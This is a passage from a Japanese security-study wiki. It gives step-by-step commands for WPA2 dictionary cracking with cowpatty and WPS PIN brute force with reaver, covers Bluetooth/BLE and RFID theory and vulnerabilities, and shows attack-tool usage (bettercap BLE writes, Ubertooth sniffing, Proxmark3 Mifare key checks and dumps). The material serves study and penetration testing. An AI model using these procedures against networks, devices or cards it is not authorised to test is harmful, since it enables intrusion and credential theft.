  2. 使用するWIFIアダプタを選択しrefreshを行う
  3. Tips-Scan settingの画面でokを押す
  4. Wifi WPAボタンを押す
  5. ターゲットのネットワーク名を選択する
  6. 左下のBrowseボタンで辞書ファイルを選択
  7. Attackボタンで攻撃を開始する

2.8.3. WPA2-PSKに対する辞書攻撃 (airmon-ng, cowpatty, genpmkの使用)

この攻撃は辞書攻撃となるため攻撃には辞書データが必要。 なお攻撃対象はAPと端末が通信している必要がある

パスワードの辞書ファイル例は以下より。

SecLists | https://github.com/danielmiessler/SecLists

またKali Linuxの/usr/share/wordlists/以下にも辞書ファイルがある。 おすすめはrockyou.txt

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • airmon-ng
    • genpmk
    • cowpatty
  • 必要なデータ
    • 辞書攻撃用の辞書ファイル

攻撃手順

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
    • WIFIアダプタをMonitorモードに変更
      • ifconfig <インターフェイス> down
      • iwconfig <インターフェイス> mode monitor
      • ifconfig <インターフェイス> up
      • iwconfig <インターフェイス>で確認
    • sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
    • sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>でパケット情報収集(任意時間)
  2. レインボテーブルの作成
    • genpmk -f <辞書ファイル> -d <作成したいレインボテーブル名> -s <任意のSSID名>でレインボテーブルの作成
  3. レインボテーブルによるパスワード解析
    • cowpatty -r <パケットキャプチャファイル(.cap)> -d <作成したレインボテーブル> -s <任意のSSID名>によりパスワード算出

2.8.4. WPSに対するWPSピン攻撃 (reaverの使用)

この攻撃はWPSピン攻撃となるため攻撃にはルータがWPSに対応している必要がある。 なお攻撃に時間がかかる場合がある。

使用ツール/ファイル

  • ハードウェア
    • Monitorモード対応WIFIアダプタ
  • ソフトウェア
    • reaver

攻撃手順

  1. 以下手順により攻撃対象のAPのBSSIDとChannnel情報を収集
    • WIFIアダプタをMonitorモードに変更
      • ifconfig <インターフェイス> down
      • iwconfig <インターフェイス> mode monitor
      • ifconfig <インターフェイス> up
      • iwconfig <インターフェイス>で確認
    • sudo airodump-ng <インターフェイス>でMonitorモード動作/BSSID/チャンネル情報の確認
  2. 脆弱なWPSが実装されたAPを見つける
    • wash -i <インターフェイス>monで脆弱なWPS実装を見つけBSSID/チャンネルを記録する
  3. Reaverを起動しブルートフォースアタックを開始する
    • reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vvにより攻撃開始
  4. もしWPS PIN を取得出来たらそれをメモし以下コマンドでWPAキーを取得する
    • reaver -i <インターフェイス>mon -b <BSSID> -vvNwL -c 1 -p <PIN>

なお3フェーズにおいてうまく行かなかった場合、reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vv -L -N -d 15 -T .5 -r 3:15のように高度なオプションを装備してReaverがうまく攻撃できるようにできる。 オプションは以下の通り。

  • -L … ロックされたWPS状態の無視
  • -N … エラー検出後NACKパケットを送信しない
  • -d 15 … PINの試行間隔の設定(15s)
  • -T .5 … タイムアウト期間の設定(0.5s)
  • -r 3:15 … 3回の試行後15秒スリープ
  • -K … ピクシーダスト攻撃の有効化(Ralink・Broadcom・Realtek各社の無線LANチップに有効)

11.2 - 2. BlueTooth基礎

BlueToothのハッキングに関して

11.2.1 - 1. BlueTooth基礎知識

BlueToothの基礎知識

1.1. BlueToothの基礎知識

1.1.1. BlueToothとは

BluetoothとはIEEE802.15.1で規定された10m~100m以内の近距離で端末同士を1対1でワイヤレス接続することを想定して作られた近接無線通信技術である。
Ver3.0までのBluetooth Classic、Ver4.0以降のBLE(Bluetooth Low Energy)がある。

Bluetooth

1.1.2. Bluetoothの通信方式

BluetoothはBluetooth Classicまでがユニキャスト通信に対応、BLEがユニキャスト通信とブロードキャスト通信に対応している。

  • ユニキャスト通信
    • ペリフェラル … 1対1通信を要求するAD(アドバタイズ)を送信。接続時は子機として動作
      • 例) スマートウォッチやBlueToothイヤホンなど
    • セントラル … 1対1接続要求アドバタイズをスキャンし接続。接続時は親機として動作
      • 例) … スマホやタブレットなど
  • ブロードキャスト通信
    • ブロードキャスタ … ブロードキャスタ用アドバタイズを送信
      • 例) 温度センサーや位置ビーコンなど
    • オブザーバ … ブロードキャスト用アドバタイズのスキャン
      • 例) 表示機器、スマホ

ペリフェラルとセントラル

ペリフェラルとセントラルは双方向通信が可能となっており、一対一の対応関係確立後にデータ送信をする。 接続確立後はペアリングにて暗号化通信を行うことが可能。

ブロードキャスタとオブザーバ

ブロードキャスタとオブザーバは単方向通信のみ。 接続/ペアリングが行われないため暗号化通信はサポートしていない。

1.1.3. Bluetoothのセキュリティ

Bluetoothの認証/暗号化鍵交換

Bluetoothのセキュリティは認証/暗号化の鍵交換に関してペアリングボンディングがある。

ペアリング

ペアリングはセントラルとペリフェラル間のデータ暗号化(AWS-CCMや楕円曲線暗号が用いられる)のための鍵交換を行うもの。 この仕組みにより一度相互に認証したデバイス同士は、次回から電源を入れるだけで自動的に接続できる。

特徴は以下の通り。

  • 鍵は一時的にデータの暗号化に用いる
  • 鍵は再利用しない

ペアリングの種類は認証の有無で分けると以下の2種類がある。

  • 認証ペアリング … 中間者攻撃のリスクはないペアリング
  • 未認証ペアリング … 中間者攻撃のリスクがあるペアリング

また鍵の種類で分けると以下のようになる。

  • Bluetooth Classicのペアリング
    • Simple Secureペアリング(Simple Secure Pairing) … ECDH(楕円曲線ディフィ・ヘルマン)アルゴリズムの公開鍵交換方式を利用し交換される
    • PINペアリング … 数字で最大16桁の暗証コードを打ち込むことで認証する
  • BLEのペアリング
    • Legacyペアリング(LE Legacy Pairing) … BLE4.0で導入されたもので鍵(128Bit)は無線で平文交換される
    • LESCペアリング(LE Secure Connections) … BLE4.2以降で導入。鍵は有線で公開鍵暗号方式を利用し交換される

ボンディング

ペアリングで交換した鍵を保存し次同じ相手と接続するときはペアリングせずに前回の鍵を再利用するもの。

1.2. BLEの基礎知識

1.2.1. BLEとは

Bluetooth Low Energy(BLE)は省電力で動作するBluetooth通信の規格。 バージョン4.0から実装された。

BLEはiPhoneをはじめとしたスマートフォンを筆頭に、その性能を活かし、ビーコンと呼ばれる小型のセンサーなどにも活用されている。 具体的にはスマートIoTデバイス、フィットネスモニター機器、キーボードなど、主にバッテリー駆動のアクセサリーなどでよく使われてる

1.2.2. BLEの通信方式

BLEの各種パラメータは以下の通り。

パラメータ
標準規格Bluetooth 4.0以降
周波数帯2.4GHz
変調/拡散GFSK方式/周波数ホッピング
チャネル2MHz帯40チャネル(一部のバージョンでは広告チャネルとデータチャネルが異なる)
通信距離一般的に数メートルから10メートル程度
通信速度125Kbpsから2Mbps(データレートは選択可能)

FSK … デジタル信号を搬送波の周波数偏移に変えて通信する方式

GFSK … 入力信号を正規分布型フィルタを十sて通信利用帯域を抑える方式

またBLEはユニキャスト通信とブロードキャスト通信に対応している。

1.2.3. BLEのセキュリティ認証手法

Legacy Pairingのフェーズ

鍵が交換されるLegacyペアリングのフェーズは以下の通り。

BLESecurity

ペアリングの方法

LegacyペアリングではJust WorksPassKeyOut Of Bandのいずれか1つ、LESCペアリングでは下記4つのいずれか1つが使用可能となっている。

  • Just Works … デバイスの選択のみで双方認証しないもの
    • 特徴: 平文であるため盗聴により暗号鍵(STK)がわかる
    •   最も一般的なペアリングの方法
      
  • PassKey … セントラルが作成した6桁のランダム認証コード
    • 特徴: PassKeyをデバイス側に入力させて認証する
  • Out Of Band … BLE以外(RFIDなど)の通信手段で認証
  • Numeric Comparison … 接続時に毎度ランダムな数字をセントラル/ペリフェラルで表示し同じであるならばボタンを押すなどして認証
    • 特徴: デバイスに表示/入力機能がある場合に使用される

1.2.4. BLEのプロトコルスタック

BLEのアーキテクチャはアプリケーション層ホスト層コントローラ層に分けられる。

BLE

BLEのプロトコルにはATTGAPGATTがある。

またBLEでは属性(アトリビュート)という単位でデータを処理している。 属性は以下内容からなり、属性を複数組み合わせることでGATTデータベースを作成する。

  • Attributeハンドル(2Byte) … 通し番号
  • Attributeタイプ(2or16Byte) … UUIDでService,Characteristicを表す
  • Attribute値(0~512Byte) … アプリケーションレイヤが使用するデータ
  • Attributeパーミッション … Read,Writeの許可(permission)属性

ATT(アトリビュートプロトコル)

ATTは属性(アトリビュート)のやり取りを行うプロトコル。

GAP(汎用アクセスプロファイル)

GAPはアドバタイズメント、通信の役割(セントラル/ペリフェラルなど)など接続確立手順の内容(プロファイル)を表す。

GATT(汎用アクトリビュートプロファイル)

データベースにアクセスするプロトコル(ハッキングには最も重要となる)

1.2.5. GATT

GATTはChracateristicServiceの関連する情報を送受するプロトコル。

  • Chracateristic … READ, WRITE, NOTIFYなどセントラrに公開するデータ処理属性
  • Service … Chracateristicをまとめたラベル(ユーザ利用サービス名)
  • UUID … ChracateristicとServiceの識別番号(16Bit)

1.2.6. BLEのセキュリティ認証手法

Legacy Pairingのフェーズ

鍵が交換されるLegacyペアリングのフェーズは以下の通り。

BLESecurity

Legacy Pairingのペアリングの方法

LegacyペアリングではJust WorksPassKeyOut Of Bandのいずれか1つ、LESCペアリングでは下記4つのいずれか1つが使用可能となっている。

  • Just Works … デバイスの選択のみで双方認証しないもの
    • 特徴: 平文であるため盗聴により暗号鍵(STK)がわかる
    •   最も一般的なペアリングの方法
      
  • PassKey … セントラルが作成した6桁のランダム認証コード
    • 特徴: PassKeyをデバイス側に入力させて認証する
  • Out Of Band … BLE以外(RFIDなど)の通信手段で認証
  • Numeric Comparison … 接続時に毎度ランダムな数字をセントラル/ペリフェラルで表示し同じであるならばボタンを押すなどして認証
    • 特徴: デバイスに表示/入力機能がある場合に使用される

1.2.7. BLEのセキュリティモードとレベル

BLEにはセキュリティモードが2つとそれぞれレベルが設定されている。

  • セキュリティモード1 … ペアリングによる認証/暗号化の有無の組み合わせによる定義
    • レベル1 … ペアリングせずセキュリティ機能なし
    • レベル2 … 認証なしのペアリング/暗号化
    • レベル3 … 認証ありのペアリング/暗号化
    • レベル4 … ペアリングし鍵交換に楕円曲線ディフィー・ヘルマン鍵共有方式(ECDHE方式)を使用し暗号化
  • セキュリティモード2 … データ署名による認証の有無の組み合わせによる定義
    • レベル1 … 認証なしのペアリング/データ署名
    • レベル2 … 認証ありのペアリング/データ署名

なおデータ署名は送信元が検証可能なパケットを送信元におくることを指す(ATTで実装される)

1.3. Bluetooth Classicの基礎知識

1.3.1. Bluetooth Classicとは

Bluetooth ClassicはBluetooth+HSとも呼ばれる24Mbpsの高速通信が可能となるBluetooth通信規格。 高速通信は無線LANの通信方式(PAL)を利用することによって実現している。

ペアリングやプロファイルなどは従来と同じBluetoothの仕様/プロトコル/周波数を用いており、必要に応じて下位のレイヤーを別の通信方式に切り替えるAlternate MAC/PHY(AMP)機能が搭載された。 内部的には低消費電力である従来のBluetoothとの連絡を保ちつつ、大量の通信が必要になった際にはIEEE 802.11無線LANに切り替えるようになっている。

主にワイヤレスヘッドホン、ワイヤレススピーカーなどのオーディオ分野で使用されている

1.3.2. Bluetooth Classicの通信方式

Bluetooth Classic(Bluetooth HF)の各種パラメータは以下の通り。

パラメータ
標準規格IEEE802.15.1
周波数帯2.4GHz
変調/拡散GFSK方式/周波数ホッピング
チャネル2MHz帯40チャネル(データ用: 036, AD用: 3739)
通信距離Classic1: 約100m, Classic2: 約10m, Classic3: 約1m
通信速度125Kbps~24Mbps (実行速度は約10Kbps程度)

またBluetooth Classicはユニキャスト通信に対応している。

1.3.3. Bluetooth Classicのセキュリティモードとレベル

Bluetooth Classicにはモードが4つとそれぞれレベルが設定されている。

  • モード1 … セキュリティ無しのモード
  • モード2 … データ通信時に必要に応じて認証・暗号化を行う
  • モード3 … 接続時に認証・暗号化を行う
  • モード4 … 使用状況に応じて認証・暗号化を行う
    • レベル0 … セキュリティ無し、ユーザー操作なし
    • レベル1 … セキュリティ無し、ユーザー操作あり
    • レベル2 … 暗号あり、認証なし
    • レベル3 … 暗号あり、認証あり
    • レベル4 … 高強度暗号あり、認証あり

なおほぼ全ての Bluetooth classicの製品はモード4として実装されている

11.2.2 - 2. BlueToothの脆弱性と攻撃ツール

BlueToothの脆弱性と攻撃機

2.1. BlueToothの脆弱性

2.1.1. KNOB攻撃

KNOB攻撃は2019年8月に発表された**暗号化通信の鍵を1Byteにすることで、暗号化通信の鍵を容易に特定することができる****Bluetooth Classicの脆弱性を悪用した攻撃。

この脆弱性を悪用すると、暗号鍵を強制的に1バイトに制限することができてしまうためブルートフォース攻撃によって暗号鍵を容易に特定することが可能になる。 そのため中間者攻撃のリスクがある。

この脆弱性は後にマイクロソフト社やアップル社などからセキュリティパッチが提供された

POC: https://github.com/francozappa/knob

2.1.2. Blueborne

BlueBorne、2017年9月に公表されたBluetoothの脆弱性の総称。

攻撃者がこの脆弱性を悪用すると、ペアリングの仕組みを使わずともデバイスと接続できるようになり、マルウェア感染や乗っ取り、個人情報の窃取などの被害を受ける可能性がある。 脆弱性の発覚後、対応するアップデートが提供された

2.1.3. BlueFrag

BlueFragは2020年2月に報告されたAndroidにおける脆弱性でAndroid 8.0系、8.1系、9.0系での存在が確認された

この脆弱性があるデバイスでBluetoothが有効になっていると、近くの攻撃者がデバイスのMACアドレスを推測し、不正にアクセスすることでデバイスの管理権限を乗っ取ることが可能となる。

なおセキュリティパッチはすでにリリースされた

2.1.4. Apple Bleee

Apple Bleeeは2019年7月に報告されたApple製品におけるBluetoothの脆弱性。 iPhoneなどに実装されているBLEが持つ、常時データの送受信が可能である仕様を悪用したものとなっている。

この脆弱性では攻撃者はターゲットの電話番号やiOSのバージョンなどを盗み見ることができる。 iPhone 5S以降、またはiOS 11以上のiPhoneに関して注意が必要となる。

2.2. BlueToothの操作シェル/セキュリティツール

2.2.1 通常のLinuxコマンド

systemctl start bluetooth

systemctl start bluetoothはBlueTooth機能を有効化するコマンド。 GUI上での起動が安定しないことから使用される。

l2ping

l2ping <MACアドレス>はBluetoothデバイスが通信可能であるかどうかを確認したり、通信の遅延を測定したりすることができるコマンド

2.2.2 BlueZ

BlueZはOSSのBluetoothプロトコルスタック設定/制御ソフトウェア。 シェルからBlueZを操作するコマンドであるhciconfighcitoolhcidumpなどが含まれる。

BlueZ http://www.bluez.org

コマンド説明
hciconfig端末のBluetoothインターフェイス確認
hciconfig <インターフェイス> <up/down>Bluetoothインターフェイスの起動/停止
hcitoolBluetooth機器の検出/スキャン
hcitool lescanビーコンでアドバタイズしているBluetoothをスキャンする
hcitool lecc <MACアドレス>端末とBluetooth機器の接続
hcitool scan既に接続中のBluetoothを確認
hcidumpBluetoothパケットキャプチャ

2.2.3 BtleJuice

BtleJuiceはWebプロキシ利用のBLEの中間者攻撃/リプレイ攻撃用のツール

Github: https://github.com/DigitalSecurity/btlejuice

2.2.4 BtleJack

BtleJackはmicro:bitの利用前提のCLIのBLEハッキングツール。 機能としてはBLEパケットキャプチャ/スニッフィングに対応している。 またジャミングによるハイジャックも可能

micro:bitとは https://sanuki-tech.net/micro-bit/overview/about/

Github: https://github.com/virtualabs/btlejack

2.2.5. Crackle

CrackleはBLE暗号化の復号化を行える、BLEレガシーペアリングに基づいて接続をキャプチャした場合に適したツール。

Github: https://github.com/mikeryan/crackle.git

2.2.3. BetterCap

BLEのデバイスのペネトレーションテストに使用できるツール。

# BLEビーコンのリスニングを開始
sudo bettercap --eval "ble.recon on"
# Wait some time
ble.show # BLEデバイス一覧の表示
ble.enum <MACアドレス> # This will show the service, characteristics and properties supported

# Write data in a characteristic
ble.write <MACアドレス> <UUID> <HEX DATA>
ble.write MACアドレス> ff06 68656c6c6f # Write "hello" in ff0

2.3. UberTooth One

2.3.1. UberTooth Oneとは

UberTooth OneはBluetoothデバイスのセキュリティとプロトコルの解析を行うためのOSSワイヤレスツール。以下のことが可能。

  • Bluetoothモニタリング
  • Bluetoothパケット解析
  • Bleutoothセキュリティのテスト

2.3.2. UberToothを使用する

詳しくはコチラから。

BLEデバイスのスキャン

BLEデバイスは以下コマンドでスキャン可能。

sudo hcitool lescan

BLEデバイスの表示例

D5:AA:D0:41:A3:60 Mi Smart Band 4
78:A5:04:62:71:3D TepHeatB

BLEのスニッフィング

BLEデバイスのスキャンで得たBlueTooth Device Addressを指定することでデバイス間通信をキャプチャできる。

ubertooth-btle -f <BD_ADDR>
ubertooth-btle -f <BD_ADDR> -c <FilePath> #Fileに書き込む場合

WiresharkでBLEをキャプチャする

  1. ターミナルでmkfifo /tmp/pipe
  2. WireSharkを開く
  3. 「キャプチャ=>オプション」を選択
  4. 「Manage Interfaces」を選択
  5. 「新規」を選択し「パイプ」に「/tmp/pipe」と入力
  6. 「保存」「閉じる」
  7. 「/tmp/pipe」を選択して「開始」を選択
  8. ターミナルでubertooth-btle -f -c /tmp/pipeを実行
  9. うまくいかない場合は/tmp/pipeの実行/読み取り権限などを付与

UberToothスペクトルアナライザを使用する

2.4GHz帯を解析するツールであるスペクトラムアナライザを使用できる。

ubertooth-specan-ui

スペクトル

  • 緑色の振幅: 異なるチャネルの複数の 802.11b ネットワークの電波
  • 白い振幅: スキャン中に表示されるビーコン

11.3 - 3. 無線周波数識別(RFID)基礎

クレジットカード(Mifare A)や交通系(Felica)、入門証などのRFIDに関して

2. 無線周波数識別(RFID)

2.1.1. RFIDの概要

RFID(Radio Frequency Identification)は電波を利用してワイヤレスでICタグなどから情報を読み取ったり送信したりする技術の総称である。
RFIDのシステムはICタグまたはICラベルで構成され、そのタグにはそれが取り付けられているオブジェクトや人についての一意な情報が含まれる。
情報はRFIDリーダーによって読み取られ、高度なソフトウェアによって処理される。

2.1.2. RFIDの基本的な仕組み

RFIDではICタグとRFIDリーダー間での電波の送受信によって情報を読み取ったり書き込んだりすることができる。
基本的には以下のフローが1秒間に何度も行われていることでシステムを実現する。

RFIDにはパッシブ型RFIDアクティブ型RFIDの2種類があり、それぞれ特徴がある。
なお特性上、使用のシェアはパッシブ型RFIDが圧倒的に占める。

RFID

パッシブ型RFID

パッシブ型RFIDは電池が内蔵されておらず、リーダライタからの電力を使用して電波を発信するRFIDタグ(パッシブ型RFIDタグ)を使用したRFIDシステム。
現在の「ICタグ」「RFIDタグ」の主流なもので、交通系カードもこのタイプに当てはまる。
またPassive RFIDのシステムは、低周波(LF)、高周波(HF)、および超高周波(UHF)帯域で動作する。

特徴は以下の通り。

  • 短距離での通信
  • 小型化・薄型化が容易
  • 物理的に破損しない限り半永久的に利用することが可能
  • アクテイブ型RFIDタグより安価

なお動作手順は以下の通り。

  1. RFIDリーダーのアンテナから電波を送信
  2. ICタグのアンテナで電波を受信しICチップが駆動
  3. ICチップ内のコード情報を信号化し、アンテナから送信
  4. RFIDリーダーのアンテナで信号を受信
  5. RFIDリーダーの制御部を介し、モバイル端末やパソコンなどへ情報を転送

アクティブ型RFID

アクティブ型RFIDは電池を内蔵し電波を発し、長距離で通信できRFIDタグ(アクティブ型RFIDタグ)を使用したRFIDシステム。
単純なID情報(識別情報)以外も、タグに各種センサーを搭載することにより付加情報を送信することが可能となっている。 また通信距離も大きく、数十mから数百mとなっている。

またアクティブ型RFIDの読み取りアンテナ(ゲートウェイ)はアクティブ型RFIDタグ信号を受信し、タグ(およびタグが取り付けられているオブジェクト)のリアルタイムの位置を監視することができる。

特徴は以下の通り。

  • 長距離(数十~数百m)での通信
  • バッテリーが内蔵
  • パッシブ型RFIDタグより高価

なお動作手順は常にRFIDタグから読み取りアンテナに送信し続ける形となる。
また日本国内では電波法上無線局扱いなので取り扱いには認定/許可が必要

セミパッシブ型RFID

セミパッシブ型RFIDはパッシブ型RFIDにセンサー機能を付けたタイプのRFIDシステム。
センサーの電源用に電池を使用しているが通信時はリーダからの電力を用いる。

特徴は以下の通り。

  • 長距離(数十m)での通信
  • バッテリーが内蔵
  • パッシブ型RFIDタグより高価

2.1.2. RFIDの周波数帯

RFIDシステムは低周波(LF)、高周波(HF)、および超高周波(UHF)帯域で動作する
電波はこれらの周波数ごとに特性が異なるため、それぞれの用途に使い分けた周波数帯を使用する。

RFID Frequency

中波帯(LF)

LF帯(中波帯)では135KHz未満の周波数を使用する。 使用されるアンテナはコイル型のアンテナで、電磁誘導方式(リーダーとRFIDタグの間に磁界を発生させてデータのやり取りを行う)で行われる。
LF帯では通信距離は通常3~30cm以内と短く(最大50cm)安定した通信が可能。

自動車などのアクセス制御、ペットなどの動物の識別管理、在庫への管理に使用される。

特徴は以下の通り。

  • 通信距離は通常3~30cm
  • 水や金属の影響を受けにくい
  • 読み取り速度は高周波(HF/UHF)よりも遅い

短波帯(HF)

HF帯(短波帯)では13.56MHzの周波数を使用する。
HF帯はLF帯と同じく電磁誘導方式で、水分や金属の影響を比較的受けにくいのが特長。
HF帯では通信距離は5~50cm程度と短く(最大1m)で、読み取り速度もLFに比べて高速となる。

この周波数帯域内には、近距離無線通信(NFC)も含む、さまざまなISO規格がある。

工場などの生産工程における進捗管理や、医療機関で患者が着用するリストバンド、交通系ICカードにも使用されている。

特徴は以下の通り。

  • 通信距離は5~50cm程度
  • LF帯に比べると薄型化・小型化しやすい
  • 1対1でものを認証する用途に適している
  • 読み取り速度もLFに比べて高速

超短波帯(UHF)

UHF帯(超短波帯)では860~920MHzの周波数を使用する。
日本の場合は世界各国で使用可能な周波数帯域は異なり、従来950Mhz帯が使われていたが、2012年の電波法改正後は920MHz帯を使用している。

通信方式にはリーダーとRFIDタグ間でデータのやり取りを行う「電波方式(放射電磁界方式)」で、電磁誘導方式よりも通信距離が長い点が特長となる。
広範囲の読み取りに適しており、複数読み取りの性能が高いといったメリットがある。

アパレル店舗などの在庫管理や、物流倉庫での入出荷管理、棚卸し業務などに適している周波数帯と言える。

LF/HF/UHFまとめ

周波数通信方式特徴通信距離用途
LF帯135KHz以下電磁誘導方式環境に左右されにくい10センチ前後キーレスエントリー
HF帯13.56MHz帯電磁誘導方式水の影響を受けにくい50センチ前後電子マネー、個人認証
UHF帯900MHz帯電波方式通信距離が長い数メートル物流、在庫管理
マイクロ波帯2.45GHz帯電波方式アンテナが小型2メートル前後書類管理

2.1.3. IC/RFタグの基本構造

パッシブ型RFIDのIC/RFタグの構造は中にインレット(またはインレー)が入っているものとなっている。
インレットはICチップとそれに接続したさまざまな形状のアンテナで形成されたものを指す。

IC/RFチップは数μmサイズの非常に小さなもので、その中に、記憶部、電源整流部、送信部、受信部の四つの区分を有し、それぞれが働きを分担して通信を行っている。

インレット

2.1.4. IC/RFタグの種類の分け方

バッテリ搭載有無による分類

バッテリ搭載有無による分類ではパッシブタグ、アクティブタグ、セミアクティブタグの3種類がある。 これは前述のRFIDの種類とほぼ同じ内容の分類となる。
現在、広く一般的に使われているのは、バッテリーを持たないパッシブタグとなっている。

周波数による分類

周波数帯による分類ではUHFタグNFCタグに分けられる。

2.1.5. 周波数分類におけるIC/RFタグの種類

UHFタグ

UHFタグは300MHzから3GHzの周波数帯を用いた電波のことで極超短波とも呼ばれる周波数帯を利用したICタグのこと。
UHF帯RFIDのICタグとして通信に使用されるのは主に920MHzの周波数となる。

NFCタグ

NFCタグは13.56MHzの周波数を用いた近距離無線通信規格に対応したICタグのこと。
交通系カードなどのFelicaや、社員証などで使用されるMIFAREをベースに、互換性を維持するために開発された。

UHFタグと比較して、水分や遮蔽物への耐環境性に優れている。
また、スマートフォンによってはNFCタグを読み取ることができる機種もある。

2.2. LF帯のRFID規格

入室管理などに使用されるRFID規格。

  • 読み取りタイプ: 1対1
  • 周波数:125kHz
  • 通信速度:5~8kbps
  • 通信距離:10cm

2.2.1. ISO 14223(HiTag)

Philipsにより開発された。

2.2.2. ISO 11784(EM)

EM microelectricにより開発された。

2.3. HF帯のRFID規格

2.3.1. ISO 14443

ISO 14443は非接触ICカードの近接型の規格。 現在のRFID主流の規格

  • 読み取りタイプ: 1対1
  • 周波数:13.56MHz
  • 通信速度:106kbps
  • 通信距離:~50cm
国際規格NFC規格名称セキュリティ
ISO/IEC14443TypeAMifareあり/なし
ISO/IEC14443TypeB-あり
ISO14443/IEC18092TypeFFelicaあり

2.3.2. Type A(Mifare)

Mifareの固有IDはUIDと呼ばれる。

  • 変調方式:ASK 100%
  • 使用例:公衆電話ICカード,taspo
  • 符号化方式:ミラー、マンチェスター
  • 開発:Philips(フィリップス)
  • 特徴:世界で最も多く使われている非接触ICカード通信規格

Mifareのメモリ処理

Mifareのメモリはセクタに分かれ、セクタは各ブロックに分かれる。
各セクタは48bit長の暗号鍵(固定メイン鍵)、暗号鍵(補助用の鍵)が与えられ、この2つもしくは固定メイン鍵のみを用いて各領域を暗号化する。

情報の操作は各ブロックに対して読み出し、書き込み、数値の増減が可能となり、これらの可否はアクセス条件で決まる。 なおデータ自体の暗号化は独自のアルゴリズムが使用される。

鍵の用途ケース
固定化メイン鍵のみRFIDリーダ処理などの一般読み書き
2つの暗号鍵カード管理者の手動で行われる処理

Mifare Classic 1Kのメモリ構造

Mifare Classic 1Kの場合は以下のようなメモリ構造となる。

  • 総メモリ1024ByteのEEPROMで構成(実メモリは768Byte)
  • 全体で16セクタ、1セクタ当たり4ブロック、1ブロック16Byte構成
  • セクタ0ブロック0は製造者用ブロック(UID or NUIDなどの読み出し可能カード情報の記録がされている)
  • 各セクタのブロック0から2までがデータブロック、ブロック3はセクタトラック(2つの暗号鍵とアクセス条件が記載)
  • セクタ0のみはブロック1とブロック2がデータブロックとなる

Mifare_1k

工場出荷時は2つの暗号鍵はFFFF FFFF FFFF FFFF、アクセス条件を示すアクセスビットはFF0780となる。

Mifare_1k2

2.3.3. Type B

  • 変調方式:ASK 10%
  • 使用例:マイナンバカード、次世代運転免許
  • 符号化方式:NRZ
  • 開発:Motorola(モトローラ)

2.3.4. Type F(Felica)

日本国内では高いシェア率。 高いセキュリティと高速処理が特徴。 Felicaの固有IDはIDmと呼ばれる。

  • 読み取りタイプ: 1対1

  • 周波数:13.56MHz

  • 通信速度:212kbps

  • 通信距離:10cm

  • 変調方式: ASK 10%

  • 使用例: Suicaなどに使用

  • 符号化方式:マンチェスター

  • 開発:ソニー

2.3.5. ISO 15693

ISO 15693は出入管理用に設計された非接触ICカードの近接型の規格。 読み取り距離が90cm程度まで対応している。

  • 読み取りタイプ: 1対1
  • 周波数:13.56MHz
  • 通信速度:106kbps
  • 通信距離:90cm

2.4. UHF帯のRFID規格

在庫管理などに使用されるRFID規格。

  • 読み取りタイプ: 複数読み取り
  • 周波数:900MHz
  • 通信速度:5~8kbps
  • 通信距離:数m

2.4.1. ISO 18000(Monza)

MonzaはImpinj社により開発された規格。

2.5. RFIDのセキュリティ機能

RFIDのネットワークセキュリティは以下のように実装される。

  • 暗号化通信 * ICカード~リーダライタ間: 共通鍵暗号方式(DES/AES)
  • 公開鍵認証基盤PKI * 電子証明書と秘密鍵のペアの格納

2.5. NFC

2.5.1. NFCとは

NFCは13.56MHzを使用した無線による通信技術規格のこと。
ソニーとNXPセミコンダクターズ(旧フィリップス)がFeliCaやMIFARE(ISO/IEC14443TYPEA)をベースに、互換性を維持するために共同開発した。

基礎となっている国際規格はISO/IEC 18092(NFC IP-1)であり、通信可能距離としては10cm程度の近距離となっている。 またNFC対応のICカードでは、アンテナが電波を受信する際の発生した電力により、通信とデータの書き換えが可能であり電池や電源が不要となっている。

  • 周波数帯: 13.56MHz
  • 通信速度: 100~400Kbit/s
  • 無線到達距離: 10cm

2.5.2.NFCフォーラムにおけるチップ仕様

NFCフォーラムにおけるチップ仕様は以下のように定められている。

規格仕様使用例
ISO/IEC14443 TYPEANFC-Aテレフォンカード、TASPO、Pay Pass等
ISO/IEC14443 TYPEBNFC-Bマイナンバーカード、免許証、パスポート等
SONY FelicaNFC-F交通、電子マネー系( Suica、WAON等)カード
ISO15693NFC-V公共図書館入退室証とスキーパス

2.5.3. NFCの動作モード

カードエミュレーションモード

カードエミュレーションモードではNFCを搭載した機器(携帯電話等)で、NFC-A、NFC-B及びNFC-FのICカード機能を実行することができる。

P2Pモード

P2PモードではNFCを搭載した機器同士で通信を行うことができる。 NFCを搭載した機器同士を近づけてかざすだけで、メール、電話帳、画像、スケジュール、XMLデータなど色々なデータを送受信することができる。

リーダ/ライターモード

リーダ/ライターモードでは、NFCを搭載した機器がリーダ/ライターとしてNFC-A、NFC-B及びNFC-F仕様のICカードの読書きを行うことができる。

2.6. RFIDの開発/解析ツール

2.6.1. Proxmark3

Proxmark3は有名なRFID開発/研究ツール。
HF帯とLF帯のRFIDを使用可能。

Proxmark3

Proxmark3の認識確認(Linux)

lsusbなどで可能(Proxmark3などと書いてあればおk)。

Proxmark3の開始

proxmark3 /dev/ttyACM0 #デフォルトの起動

基本内部コマンド

hw status #ステータス確認
hw version #バージョン確認
hw tune #アンテナ特性の測定
quit #終了

hf search #HF帯カードの識別
lf search #LF帯カードの識別

HF帯RFIDの内部コマンド

  • Mifareを扱うコマンド

コマンドチートシート

hf mf chk --1k -f mfc_default_keys # デフォルトのキーを確認
hf mf fchk --1k --mem # ローカル メモリからデフォルトキーを確認
hf mf dump # MIFARE Classic カードの内容をダンプする

12 - 暗号化技術基礎

暗号理論や暗号化アルゴリズムなど解説

13 - 匿名化技術基礎

Torネットワーク, I2Pなどの匿名性の高いネットワークの解説とホスティング方法、および匿名化のための方法の解説

13.1 - 1.ダークウェブの基礎

ダークウェブの基礎知識に関して

1.1. ダークウェブの概要

ウェブの種類を階層化すると大きく3つの階層に分かれる。

ウェブの3層構造

1.1.1. サーフェスウェブ

サーフェィスウェブ(表層ウェブ)は一般公開された、基本的に誰でもアクセス可能なWeb。 基本的にWeb検索エンジンの検索結果に含まれる。

1.1.2. ディープウェブ

ディープウェーブ(深層ウェブ)は一般のWeb検索エンジンで検索できない、またはアクセスできないWeb領域を指す。
